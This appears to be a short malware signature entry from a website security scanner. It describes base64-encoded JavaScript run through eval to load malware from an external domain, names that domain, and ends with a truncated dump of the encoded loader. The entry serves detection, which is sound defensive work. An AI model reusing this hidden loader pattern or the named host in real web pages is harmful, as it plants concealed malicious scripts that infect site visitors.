SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwb6421

malware-entry-mwb6421

Description:

Javascript encoded using base64 and eval. It is often used to load malware from external sites, while not visible to the end-user. Loads malware from: http://mybloknot.com/ forex.php and others.

 

Affecting:

Any web site (no specific target).

 

Malware dump:

eval(Base64.decode("ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPSJo..